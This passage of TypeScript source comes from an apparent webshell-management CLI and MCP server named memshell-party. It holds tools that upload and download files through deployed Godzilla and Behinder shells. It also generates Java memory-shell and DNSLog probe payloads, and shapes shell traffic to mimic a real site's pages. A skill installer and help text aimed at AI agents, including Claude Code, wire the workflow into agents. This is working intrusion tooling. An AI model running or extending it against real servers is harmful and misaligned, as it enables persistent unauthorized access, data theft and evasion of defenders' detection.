?? 0} bytes)`\n : undefined,\n error: result.error,\n meta: { remotePath: args.remotePath, localPath, bytes: result.bytes },\n });\n const { data: _data, ...wire } = result;\n return jsonContent({ ...wire, localPath, savedAs });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"upload_file\",\n {\n title: \"Upload file to shell\",\n description:\n \"Upload a local file to a deployed Godzilla / Behinder shell, overwriting the remote \" +\n \"path (max 64 MiB). Chunked transfer with integrity verification (Godzilla: remote \" +\n \"size; Behinder: MD5). Pass a saved target `name`, or url+tool with the gate header \" +\n \"for MemShellParty shells. On success the profile is auto-saved and the canonical \" +\n \"name returned as `savedAs`.\",\n inputSchema: uploadInput,\n },\n async (args) => {\n try {\n const conn = resolveConnection(args.name, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n });\n const common = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs: args.timeoutMs,\n insecure: conn.insecure,\n };\n // read + validate the local file before touching the network\n const data = readUploadFile(args.localPath);\n\n let result: TransferResult;\n switch (conn.tool) {\n case \"godzilla\":\n result = await uploadGodzilla(\n conn.url,\n conn.pass ?? \"pass\",\n conn.key ?? \"key\",\n args.remotePath,\n data,\n { ...common, remoteCharset: args.remoteCharset },\n );\n break;\n case \"behinder\":\n result = await uploadBehinder(\n conn.url,\n conn.pass ?? \"rebeyond\",\n args.remotePath,\n data,\n common,\n );\n break;\n default:\n throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);\n }\n let savedAs: string | undefined;\n if (result.ok && conn.targetName === undefined) {\n savedAs = autoSaveShell(conn);\n conn.targetName = savedAs;\n }\n logOp({\n category: \"upload\",\n action: \"upload\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.ok\n ? `${args.localPath} -> ${args.remotePath} (${result.bytes ?? 0} bytes)`\n : undefined,\n error: result.error,\n meta: { localPath: args.localPath, remotePath: args.remotePath, bytes: result.bytes },\n });\n return jsonContent(savedAs !== undefined ? { ...result, savedAs } : result);\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_save\",\n {\n title: \"Save shell target\",\n description:\n \"Save a shell connection profile as <project>/<shell> so later connect_test / \" +\n \"exec_command calls only need the name. A project groups several shells and \" +\n \"carries an optional remark and category. Overwrites an existing shell.\",\n inputSchema: targetSaveInput,\n },\n async (args) => {\n try {\n if (args.projectRemark !== undefined || args.projectCategory !== undefined) {\n saveProjectMeta(args.project, {\n remark: args.projectRemark,\n category: args.projectCategory,\n });\n }\n const stored = saveShell(args.project, args.shell, {\n url: args.url,\n tool: args.tool,\n pass: args.pass,\n key: args.key,\n headerName: args.headerName,\n headerValue: args.headerValue,\n insecure: args.insecure,\n remark: args.shellRemark,\n });\n logOp({\n category: \"save\",\n action: \"save\",\n targetName: `${args.project}/${args.shell}`,\n url: args.url,\n tool: args.tool,\n ok: true,\n detail: \"saved\",\n meta: {\n projectRemark: args.projectRemark,\n projectCategory: args.projectCategory,\n shellRemark: args.shellRemark,\n },\n });\n return jsonContent({ project: args.project, shell: args.shell, ...stored });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_note\",\n {\n title: \"Set remark/category\",\n description:\n \"Set or clear (empty string) a project's remark and/or category — or a shell's \" +\n \"remark when `shell` is given.\",\n inputSchema: {\n project: z.string(),\n shell: z.string().optional().describe(\"when set, only `remark` applies (to the shell)\"),\n remark: z.string().optional().describe('remark (\"\" to clear)'),\n category: z.string().optional().describe('project category (\"\" to clear; projects only)'),\n },\n },\n async (args) => {\n try {\n if (args.shell) {\n if (args.category !== undefined) {\n throw new Error(\"category only applies to projects\");\n }\n const updated = saveShellMeta(args.project, args.shell, { remark: args.remark });\n logOp({\n category: \"note\",\n action: \"note\",\n targetName: `${args.project}/${args.shell}`,\n ok: true,\n detail: `remark=${updated.remark ?? \"-\"}`,\n });\n return jsonContent({\n project: args.project,\n shell: args.shell,\n remark: updated.remark,\n });\n }\n const updated = saveProjectMeta(args.project, {\n remark: args.remark,\n category: args.category,\n });\n logOp({\n category: \"note\",\n action: \"note\",\n targetName: args.project,\n ok: true,\n detail: `category=${updated.category ?? \"-\"} remark=${updated.remark ?? \"-\"}`,\n });\n return jsonContent({ project: args.project, ...updated, shells: Object.keys(updated.shells) });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_list\",\n {\n title: \"List saved targets\",\n description:\n \"List saved projects (remark, category) and their shells. Use the \" +\n \"<project>/<shell> references as `name` in connect_test / exec_command.\",\n inputSchema: {\n category: z.string().optional().describe(\"only show projects in this category\"),\n },\n },\n async (args) => {\n try {\n const all = listProjects();\n const filtered: Record<string, unknown> = {};\n for (const [name, p] of Object.entries(all)) {\n if (args.category !== undefined && p.category !== args.category) continue;\n filtered[name] = p;\n }\n return jsonContent({ storePath: targetStorePath(), projects: filtered });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"target_remove\",\n {\n title: \"Remove saved target\",\n description: \"Remove a whole project, or a single shell when `shell` is given.\",\n inputSchema: {\n project: z.string(),\n shell: z.string().optional(),\n },\n },\n async (args) => {\n try {\n const removed = args.shell\n ? removeShell(args.project, args.shell)\n : removeProject(args.project);\n if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? \"\"}`);\n logOp({\n category: \"remove\",\n action: \"remove\",\n targetName: args.shell ? `${args.project}/${args.shell}` : args.project,\n ok: true,\n detail: \"removed\",\n });\n return jsonContent({ removed: true, project: args.project, shell: args.shell });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n server.registerTool(\n \"log_list\",\n {\n title: \"List operation log\",\n description:\n \"Read the global operation log (every gen/probe/connect/exec/save/note/remove op), \" +\n \"newest first. Filter by category and/or target.\",\n inputSchema: {\n category: z\n .enum([\"gen\", \"probe\", \"connect\", \"exec\", \"download\", \"upload\", \"save\", \"note\", \"remove\"])\n .optional()\n .describe(\"operation category\"),\n target: z\n .string()\n .optional()\n .describe(\"project name, project/shell, or a URL substring (e.g. host)\"),\n limit: z.number().optional().describe(\"max entries (default 50)\"),\n },\n },\n async (args) => {\n try {\n const entries = readOps({\n category: args.category as OpCategory | undefined,\n target: args.target,\n limit: args.limit,\n });\n return jsonContent({ logPath: opLogPath(), entries });\n } catch (err) {\n return errorContent(err);\n }\n },\n );\n\n return server;\n}\n\n/** Start the MCP server over stdio. */\nexport async function startMcpStdio(client: MemPartyClient): Promise<void> {\n const server = createMcpServer(client);\n const transport = new StdioServerTransport();\n await server.connect(transport);\n}\n","/**\n * Local-filesystem helpers for `memparty upload` / `memparty download`.\n *\n * Kept deliberately strict: a transfer command must fail loudly before it\n * touches the wire rather than clobber a local file or stream a directory.\n */\nimport { existsSync, readFileSync, statSync } from \"node:fs\";\nimport { dirname, join, resolve } from \"node:path\";\n\n/** Max upload size: 64 MiB. Larger files belong in a real file manager. */\nexport const UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;\n\n/**\n * Basename of a *remote* path. The remote host may be Windows or Linux, so\n * both `\\` and `/` count as separators; trailing separators are stripped\n * first (\"C:\\\\temp\\\\\" -> \"temp\"). Returns \"\" when nothing usable remains.\n */\nexport function remoteBasename(remotePath: string): string {\n const trimmed = remotePath.replace(/[/\\\\]+$/, \"\");\n const parts = trimmed.split(/[/\\\\]/).filter((p) => p.length > 0);\n return parts.length > 0 ? parts[parts.length - 1]! : \"\";\n}\n\n/**\n * Decide where a download lands locally and refuse anything unsafe.\n *\n * - `localArg` omitted -> ./<remote basename>\n * - `localArg` is an existing directory -> <dir>/<remote basename>\n * - otherwise `localArg` is the target file\n *\n * Throws when the name is unusable, the parent directory is missing, or the\n * target exists and `force` is not set (no silent overwrites).\n */\nexport function resolveDownloadPath(\n remotePath: string,\n localArg: string | undefined,\n force: boolean,\n): string {\n const name = remoteBasename(remotePath);\n let target: string;\n if (localArg === undefined) {\n if (!name) {\n throw new Error(\n `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} — pass -o`,\n );\n }\n target = name;\n } else if (existsSync(localArg) && statSync(localArg).isDirectory()) {\n if (!name) {\n throw new Error(\n `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} — pass -o with a file path`,\n );\n }\n target = join(localArg, name);\n } else {\n target = localArg;\n }\n\n const abs = resolve(target);\n if (existsSync(abs)) {\n if (statSync(abs).isDirectory()) {\n throw new Error(`local path ${target} is a directory — pass -o with a file path`);\n }\n if (!force) {\n throw new Error(`local file ${target} already exists — pass --force to overwrite`);\n }\n }\n const parent = dirname(abs);\n if (!existsSync(parent) || !statSync(parent).isDirectory()) {\n throw new Error(`local directory ${parent} does not exist`);\n }\n return abs;\n}\n\n/**\n * Read a local file for upload. Throws unless it is a regular file within\n * the size limit — directories, devices and missing files are all errors,\n * never silent empty uploads.\n */\nexport function readUploadFile(localPath: string, maxBytes = UPLOAD_SIZE_LIMIT): Buffer {\n if (!existsSync(localPath)) {\n throw new Error(`local file ${localPath} does not exist`);\n }\n const stat = statSync(localPath);\n if (!stat.isFile()) {\n throw new Error(`local path ${localPath} is not a regular file`);\n }\n if (stat.size > maxBytes) {\n throw new Error(\n `local file ${localPath} is ${stat.size} bytes — over the ${maxBytes}-byte upload limit`,\n );\n }\n return readFileSync(localPath);\n}\n","import { createRequire } from \"node:module\";\n\nconst require = createRequire(import.meta.url);\n\ninterface PkgJson {\n version: string;\n}\n\n// package.json sits one level above the built dist/ file and above src/ in dev.\nlet version = \"0.0.0\";\ntry {\n version = (require(\"../package.json\") as PkgJson).version;\n} catch {\n try {\n version = (require(\"./package.json\") as PkgJson).version;\n } catch {\n // fall back to placeholder\n }\n}\n\nexport const CLI_VERSION = version;\n","import { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions, logInfo } from \"../cli-context.js\";\nimport { startMcpStdio } from \"../mcp/server.js\";\nimport { resolveApiUrl } from \"../core/config.js\";\n\nexport function registerMcpCommand(program: Command): void {\n program\n .command(\"mcp\")\n .description(\"Run as an MCP server over stdio (exposes generation + config tools)\")\n .action(async (_opts: GlobalOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals();\n const client = createClient(globals);\n logInfo(`memshell-party MCP server starting (api: ${resolveApiUrl({ flag: globals.api })})`);\n await startMcpStdio(client);\n });\n}\n","import { readFileSync } from \"node:fs\";\n\nimport { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions } from \"../cli-context.js\";\n\ninterface ParseCmdOptions extends GlobalOptions {\n file?: string;\n}\n\nexport function registerParseClassNameCommand(program: Command): void {\n program\n .command(\"parse-classname\")\n .description(\"Parse the fully-qualified class name from a .class file\")\n .argument(\"[base64]\", \"base64-encoded .class bytes (omit when using --file)\")\n .option(\"-f, --file <path>\", \"read a .class file from disk instead of passing base64\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty parse-classname -f shell.class\n $ memparty parse-classname \"$(memparty gen -s Tomcat -t Command -y Filter \\\\\n -p DefaultBase64 --command-param-name cmd)\"\n`,\n )\n .action(async (base64: string | undefined, opts: ParseCmdOptions, cmd: Command) => {\n let classBase64: string;\n if (opts.file) {\n classBase64 = readFileSync(opts.file).toString(\"base64\");\n } else if (base64) {\n classBase64 = base64.trim();\n } else {\n throw new Error(\"Provide base64 bytes as an argument or use --file <path>.\");\n }\n\n const client = createClient(cmd.optsWithGlobals());\n const name = await client.parseClassName(classBase64);\n process.stdout.write(`${name}\\n`);\n });\n}\n","import { Command, Option } from \"commander\";\n\nimport { createClient, type GlobalOptions, logInfo } from \"../cli-context.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { emitSinglePackResult, hasMultiplePackResults } from \"../core/output.js\";\nimport { buildProbeRequest, type ProbeOptions } from \"../core/request-builder.js\";\nimport { runProbeWizard } from \"../wizard/probe-wizard.js\";\n\ninterface ProbeCmdOptions extends GlobalOptions {\n method?: string;\n content?: string;\n packer?: string;\n jdk?: string;\n debug?: boolean;\n bypassModule?: boolean;\n shrink?: boolean;\n lambdaSuffix?: boolean;\n staticInitialize?: boolean;\n shellClassName?: string;\n host?: string;\n seconds?: string;\n sleepServer?: string;\n server?: string;\n reqParamName?: string;\n commandTemplate?: string;\n output?: string;\n decode?: boolean;\n json?: boolean;\n interactive?: boolean;\n}\n\nconst REQUIRED = [\"method\", \"content\", \"packer\"] as const;\n\nfunction toOptions(o: ProbeCmdOptions): ProbeOptions {\n return {\n probeMethod: o.method!,\n probeContent: o.content!,\n packer: o.packer!,\n jdk: o.jdk,\n debug: o.debug,\n byPassJavaModule: o.bypassModule,\n shrink: o.shrink,\n lambdaSuffix: o.lambdaSuffix,\n staticInitialize: o.staticInitialize,\n shellClassName: o.shellClassName,\n host: o.host,\n seconds: o.seconds !== undefined ? Number(o.seconds) : undefined,\n sleepServer: o.sleepServer,\n server: o.server,\n reqParamName: o.reqParamName,\n commandTemplate: o.commandTemplate,\n };\n}\n\nexport function registerProbeCommand(program: Command): void {\n program\n .command(\"probe\")\n .description(\"Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.\")\n .option(\"-m, --method <method>\", \"probe method: ResponseBody, DNSLog, Sleep\")\n .option(\"-c, --content <content>\", \"probe content: BasicInfo, Server, OS, JDK, Bytecode, Command\")\n .option(\"-p, --packer <packer>\", \"packer, e.g. Base64, JSP\")\n .option(\"--jdk <version>\", \"target JDK: java6/8/9/11/17/21, or a class-file major version\")\n .option(\"--debug\", \"enable debug output\")\n .option(\"--bypass-module\", \"bypass Java module restrictions\")\n .option(\"--no-shrink\", \"disable bytecode shrinking (enabled by default)\")\n .option(\"--lambda-suffix\", \"append a lambda class-name suffix\")\n .option(\"--no-static-initialize\", \"disable static initialization (enabled by default)\")\n .option(\"--shell-class-name <name>\", \"explicit shell class name\")\n .option(\"--host <host>\", \"DNSLog host (DNSLog method)\")\n .option(\"--seconds <n>\", \"sleep seconds (Sleep method)\")\n .option(\"--sleep-server <server>\", \"server to fingerprint (Sleep method)\")\n .option(\"--server <server>\", \"server (ResponseBody method)\")\n .option(\"--req-param-name <name>\", \"request param name (ResponseBody method)\")\n .option(\"--command-template <tpl>\", \"command template ({command} placeholder)\")\n .option(\"-o, --output <file>\", \"write payload to a file instead of stdout\")\n .addOption(new Option(\"--decode\", \"base64-decode the payload before writing\"))\n .addOption(new Option(\"--no-decode\", \"do not base64-decode the payload\"))\n .option(\"--json\", \"print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)\")\n .option(\"-i, --interactive\", \"force the interactive wizard\")\n .option(\"--no-interactive\", \"never launch the wizard; error on missing flags\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty probe # interactive wizard\n $ memparty probe -m ResponseBody -c Command -p DefaultBase64 \\\\\n --server Tomcat --req-param-name cmd\n $ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn\n $ memparty probe -m Sleep -c Server -p DefaultBase64 \\\\\n --sleep-server Tomcat --seconds 5\n\nNote: a probe is a detection shell that reports what the target supports.\nThe server name reported by '-c Server' is the value to pass as\n'memparty gen -s'.\n`,\n )\n .action(async (opts: ProbeCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n\n const missing = REQUIRED.filter((k) => !opts[k]);\n const stdinIsTty = Boolean(process.stdin.isTTY);\n const wantWizard =\n opts.interactive === true ||\n (opts.interactive !== false && missing.length > 0 && stdinIsTty);\n\n let probeOpts: ProbeOptions;\n if (wantWizard) {\n probeOpts = await runProbeWizard(client);\n } else {\n if (missing.length > 0) {\n throw new Error(\n `Missing required option(s): ${missing.map((m) => `--${m}`).join(\", \")}. ` +\n `Run in a terminal for the wizard, or pass -i.`,\n );\n }\n probeOpts = toOptions(opts);\n }\n\n const request = buildProbeRequest(probeOpts);\n const probeMeta = {\n probeMethod: probeOpts.probeMethod,\n probeContent: probeOpts.probeContent,\n packer: probeOpts.packer,\n jdk: probeOpts.jdk,\n };\n const started = Date.now();\n let response;\n try {\n response = await client.generateProbe(request);\n } catch (err) {\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: false,\n durationMs: Date.now() - started,\n error: err instanceof Error ? err.message : String(err),\n meta: probeMeta,\n });\n throw err;\n }\n logOp({\n category: \"probe\",\n action: \"probe\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,\n meta: probeMeta,\n });\n\n if (opts.json) {\n // -o still writes the payload file in JSON mode; the JSON document\n // then carries an extra `outputFile` field with the write result.\n const outputFile =\n opts.output !== undefined\n ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode })\n : undefined;\n const doc = outputFile === undefined ? response : { ...response, outputFile };\n process.stdout.write(`${JSON.stringify(doc, null, 2)}\\n`);\n return;\n }\n\n const r = response.probeShellResult;\n logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);\n\n if (hasMultiplePackResults(response)) {\n if (opts.output !== undefined) {\n throw new Error(\n `-o cannot write ${Object.keys(response.allPackResults!).length} packer variants to one file. ` +\n `Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`,\n );\n }\n for (const [name, value] of Object.entries(response.allPackResults!)) {\n logInfo(`\\n=== ${name} ===`);\n process.stdout.write(`${value}\\n`);\n }\n return;\n }\n\n const result = emitSinglePackResult(response, {\n outFile: opts.output,\n decode: opts.decode,\n });\n if (result.destination !== \"stdout\") {\n logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? \" (base64-decoded)\" : \"\"}`);\n }\n });\n}\n","import { checkbox, confirm, input, select } from \"@inquirer/prompts\";\n\nimport type { MemPartyClient } from \"../api/client.js\";\nimport { JDK_VERSIONS } from \"../core/jdk.js\";\nimport type { ProbeOptions } from \"../core/request-builder.js\";\n\nconst JDK_CHOICES = [\n { name: \"server default\", value: \"\" },\n ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ name: `${name} (${major})`, value: name })),\n];\n\nconst PROBE_METHODS = [\"ResponseBody\", \"DNSLog\", \"Sleep\"];\nconst PROBE_CONTENTS = [\"BasicInfo\", \"Server\", \"OS\", \"JDK\", \"Bytecode\", \"Command\"];\n\nexport async function runProbeWizard(client: MemPartyClient): Promise<ProbeOptions> {\n const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);\n const servers = Object.keys(config);\n\n const probeMethod = await select({\n message: \"Probe method\",\n choices: PROBE_METHODS.map((m) => ({ name: m, value: m })),\n });\n\n const probeContent = await select({\n message: \"Probe content\",\n choices: PROBE_CONTENTS.map((c) => ({ name: c, value: c })),\n });\n\n const packer = await select({\n message: \"Packer\",\n choices: packerTree.flatMap((p) => [\n { name: p.name, value: p.name },\n ...p.children.map((c) => ({ name: ` ${c}`, value: c })),\n ]),\n });\n\n const opts: ProbeOptions = { probeMethod, probeContent, packer };\n\n switch (probeMethod) {\n case \"DNSLog\":\n opts.host = await input({ message: \"DNSLog host\" });\n break;\n case \"Sleep\":\n opts.sleepServer = await select({\n message: \"Sleep server\",\n choices: servers.map((s) => ({ name: s, value: s })),\n });\n opts.seconds = Number(await input({ message: \"Seconds\", default: \"5\" }));\n break;\n case \"ResponseBody\": {\n // Backend >= 2.9.0 narrows this to the servers with a response writer;\n // older backends 404 the endpoint — fall back to the full list.\n let responseBodyServers = servers;\n try {\n responseBodyServers = await client.getProbeResponseBodyServers();\n } catch {\n // endpoint not available on this backend\n }\n opts.server = await select({\n message: \"Server\",\n choices: responseBodyServers.map((s) => ({ name: s, value: s })),\n });\n opts.reqParamName = await input({ message: \"Request param name\", default: \"cmd\" });\n opts.commandTemplate = await input({\n message: \"Command template (optional, {command} placeholder)\",\n default: \"\",\n });\n break;\n }\n default:\n break;\n }\n\n const shellClassName = await input({ message: \"Shell class name (optional)\", default: \"\" });\n if (shellClassName) opts.shellClassName = shellClassName;\n\n const jdk = await select({ message: \"Target JDK\", choices: JDK_CHOICES });\n if (jdk) opts.jdk = jdk;\n\n const toggles = await checkbox({\n message: \"Options\",\n choices: [\n { name: \"shrink bytecode\", value: \"shrink\", checked: true },\n { name: \"static initialize\", value: \"staticInitialize\", checked: true },\n { name: \"bypass Java module\", value: \"byPassJavaModule\" },\n { name: \"lambda suffix\", value: \"lambdaSuffix\" },\n { name: \"debug\", value: \"debug\" },\n ],\n });\n opts.shrink = toggles.includes(\"shrink\");\n opts.staticInitialize = toggles.includes(\"staticInitialize\");\n opts.byPassJavaModule = toggles.includes(\"byPassJavaModule\");\n opts.lambdaSuffix = toggles.includes(\"lambdaSuffix\");\n opts.debug = toggles.includes(\"debug\");\n\n const confirmed = await confirm({ message: `Generate ${probeMethod} probe (${packer})?` });\n if (!confirmed) throw new Error(\"Cancelled by user.\");\n\n return opts;\n}\n","import { Command } from \"commander\";\n\nimport { reportError, type GlobalOptions } from \"../cli-context.js\";\nimport {\n listProfiles,\n loadProfile,\n profilePath,\n profileRequests,\n profileSkeleton,\n profileTemplates,\n saveProfile,\n} from \"../core/site-profile.js\";\n\ninterface ProfileCmdOptions extends GlobalOptions {\n site?: string;\n json?: boolean;\n}\n\n/**\n * `memparty profile` — manage site profiles for the mimic protocol.\n * Profiles are hand-written (by the operator or an AI agent); this command\n * only scaffolds, lists and inspects them.\n */\nexport function registerProfileCommand(program: Command): void {\n const cmd = program\n .command(\"profile\")\n .description(\"Manage site profiles for the mimic protocol (init / list / show / check)\");\n\n cmd.command(\"init\")\n .description(\"Write a skeleton profile JSON for hand-authoring\")\n .argument(\"<name>\", \"profile name (letters, digits, '.', '_', '-')\")\n .requiredOption(\"--site <origin>\", \"site origin, e.g. http://target:8080\")\n .option(\"--json\", \"output raw JSON\")\n .action((name: string, opts: ProfileCmdOptions) => {\n try {\n const profile = profileSkeleton(name, opts.site!);\n saveProfile(profile);\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ ok: true, ...profile }, null, 2)}\\n`);\n } else {\n process.stdout.write(\n `profile skeleton written -> ${profilePath(name)}\\n` +\n `now edit it: paste a real page's HTML into \"template\", set \"title\",\\n` +\n `and fill \"paths\" with the site's path vocabulary (e.g. [\"/api/\", \"/news/\"]).\\n` +\n `AI agents: read the site's pages yourself and pick a high-traffic,\\n` +\n `self-contained page — see the \"Site-mimicking traffic (mimic protocol)\"\\n` +\n `section of the memshell-party skill.\\n`,\n );\n }\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n }\n });\n\n cmd.command(\"list\")\n .description(\"List saved profiles\")\n .option(\"--json\", \"output raw JSON\")\n .action((opts: ProfileCmdOptions) => {\n const names = listProfiles();\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ profiles: names }, null, 2)}\\n`);\n } else {\n process.stdout.write(names.length > 0 ? `${names.join(\"\\n\")}\\n` : \"(no profiles yet)\\n\");\n }\n });\n\n cmd.command(\"show\")\n .description(\"Print a saved profile\")\n .argument(\"<name>\", \"profile name\")\n .option(\"--json\", \"output raw JSON (default)\")\n .action((name: string) => {\n try {\n const profile = loadProfile(name);\n process.stdout.write(`${JSON.stringify(profile, null, 2)}\\n`);\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), []);\n process.exitCode = 1;\n }\n });\n\n cmd.command(\"check\")\n .description(\"Validate a saved profile (schema + basic sanity), exit 0 when valid\")\n .argument(\"<name>\", \"profile name\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty profile check acme\n $ memparty profile check acme --json\n`,\n )\n .action((name: string, opts: ProfileCmdOptions) => {\n try {\n const profile = loadProfile(name); // load validates\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ ok: true, name }, null, 2)}\\n`);\n } else {\n const templates = profileTemplates(profile);\n const lines = templates.map(\n (t, i) => ` tpl[${i}]: ${t.template.length} bytes (${t.contentType}) ${t.title || \"(no title)\"}`,\n );\n const shapes = profileRequests(profile)\n .map((r) => `${r.secretField}${r.secretIn && r.secretIn !== \"body\" ? ` (${r.secretIn})` : \"\"}`)\n .join(\", \");\n const requestLine = shapes ? ` request: ${shapes}\\n` : \"\";\n process.stdout.write(\n `profile '${name}' is valid\\n` +\n ` site: ${profile.site}\\n` +\n `${lines.join(\"\\n\")}\\n` +\n requestLine +\n ` paths: ${profile.paths.join(\" \") || \"(none — --dynamic-path will be a no-op)\"}\\n`,\n );\n }\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n }\n });\n}\n","import { Command } from \"commander\";\n\nimport { logInfo, reportError, type GlobalOptions } from \"../cli-context.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { installSkill, type SkillScope } from \"../core/skill-install.js\";\n\ninterface SkillInstallCmdOptions extends GlobalOptions {\n user?: boolean;\n claude?: boolean;\n project?: string | boolean;\n json?: boolean;\n}\n\n/**\n * `memparty skill install` — copy the bundled agent skill into an agent's\n * skill directory so the mimic/memshell workflow shows up in its skill list.\n */\nexport function registerSkillCommand(program: Command): void {\n program\n .command(\"skill\")\n .description(\"Manage the bundled agent skill (skills/memshell-party)\")\n .addCommand(\n new Command(\"install\")\n .description(\"Install the memshell-party skill into an agent's skill directory\")\n .option(\"--user\", \"install to ~/.agents/skills (default)\")\n .option(\"--claude\", \"install to ~/.claude/skills (Claude Code)\")\n .option(\"--project [dir]\", \"install to <dir>/skills (default: current directory)\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nThe package ships skills/memshell-party/SKILL.md — the workflow guide that\nteaches an agent how to write site profiles, build custom shells and connect.\nThis command copies it where agents look for skills. Re-run after a CLI\nupgrade to refresh the skill. Restart/rescan your agent to pick it up.\n\nExamples:\n $ memparty skill install # ~/.agents/skills/memshell-party\n $ memparty skill install --claude # ~/.claude/skills/memshell-party\n $ memparty skill install --project # ./skills/memshell-party\n $ memparty skill install --user --claude # both\n`,\n )\n .action((opts: SkillInstallCmdOptions) => {\n const scopes: SkillScope[] = [];\n if (opts.user) scopes.push(\"user\");\n if (opts.claude) scopes.push(\"claude\");\n if (opts.project !== undefined && opts.project !== false) {\n scopes.push(\"project\");\n }\n if (scopes.length === 0) scopes.push(\"user\");\n\n const projectDir = typeof opts.project === \"string\" ? opts.project : undefined;\n try {\n const results = installSkill(scopes, { projectDir });\n logOp({\n category: \"gen\",\n action: \"skill-install\",\n ok: true,\n detail: results.map((r) => `${r.scope}:${r.dir}`).join(\", \"),\n });\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ ok: true, installed: results }, null, 2)}\\n`);\n return;\n }\n for (const r of results) {\n logInfo(`installed [${r.scope}] ${r.dir} (${r.files.join(\", \")})`);\n }\n process.stdout.write(\n \"\\nskill installed — restart or rescan your agent to pick it up.\\n\",\n );\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n }\n }),\n );\n}\n","/**\n * Install the bundled agent skill (`skills/memshell-party/SKILL.md`, shipped\n * in the npm package) into an agent's skill directory — `memparty skill\n * install`. Three scopes:\n *\n * user ~/.agents/skills/memshell-party (Kimi Code and compatible)\n * claude ~/.claude/skills/memshell-party (Claude Code)\n * project <dir>/skills/memshell-party (project-local, default cwd)\n *\n * The copy is a full overwrite — installing again after a CLI upgrade\n * refreshes the skill to the installed version.\n */\nimport { cpSync, existsSync, mkdirSync, readdirSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { join } from \"node:path\";\nimport { fileURLToPath } from \"node:url\";\n\nexport type SkillScope = \"user\" | \"claude\" | \"project\";\n\nexport const SKILL_NAME = \"memshell-party\";\n\n/** Locate the bundled skill directory (handles both src/ and dist/ layouts). */\nexport function skillSourceDir(): string {\n const candidates = [\n new URL(`../skills/${SKILL_NAME}`, import.meta.url), // dist/*.js\n new URL(`../../skills/${SKILL_NAME}`, import.meta.url), // src/core/*.ts\n ];\n for (const candidate of candidates) {\n const p = fileURLToPath(candidate);\n if (existsSync(p)) return p;\n }\n throw new Error(`bundled skill not found (expected skills/${SKILL_NAME} in the package)`);\n}\n\nexport function skillTargetDir(scope: SkillScope, projectDir?: string): string {\n switch (scope) {\n case \"user\":\n return join(homedir(), \".agents\", \"skills\", SKILL_NAME);\n case \"claude\":\n return join(homedir(), \".claude\", \"skills\", SKILL_NAME);\n case \"project\":\n return join(projectDir ?? process.cwd(), \"skills\", SKILL_NAME);\n }\n}\n\nexport interface SkillInstallResult {\n scope: SkillScope;\n dir: string;\n /** Top-level entries after the copy. */\n files: string[];\n}\n\nexport interface InstallSkillOptions {\n /** Base dir for project scope (default: cwd). */\n projectDir?: string;\n /** Override the bundled skill source (tests). */\n sourceDir?: string;\n}\n\n/** Copy the bundled skill into each scope's directory. Overwrites. */\nexport function installSkill(\n scopes: SkillScope[],\n opts: InstallSkillOptions = {},\n): SkillInstallResult[] {\n const src = opts.sourceDir ?? skillSourceDir();\n return scopes.map((scope) => {\n const dir = skillTargetDir(scope, opts.projectDir);\n mkdirSync(dir, { recursive: true });\n cpSync(src, dir, { recursive: true });\n return { scope, dir, files: readdirSync(dir).sort() };\n });\n}\n","import { Command, Option } from \"commander\";\r\n\r\nimport { protocolNames } from \"../connect/registry.js\";\r\nimport {\r\n getProject,\r\n listProjects,\r\n removeProject,\r\n removeShell,\r\n saveProjectMeta,\r\n saveShell,\r\n saveShellMeta,\r\n targetStorePath,\r\n type ShellInput,\r\n} from \"../core/targets.js\";\r\nimport { logOp } from \"../core/oplog.js\";\r\n\r\ninterface 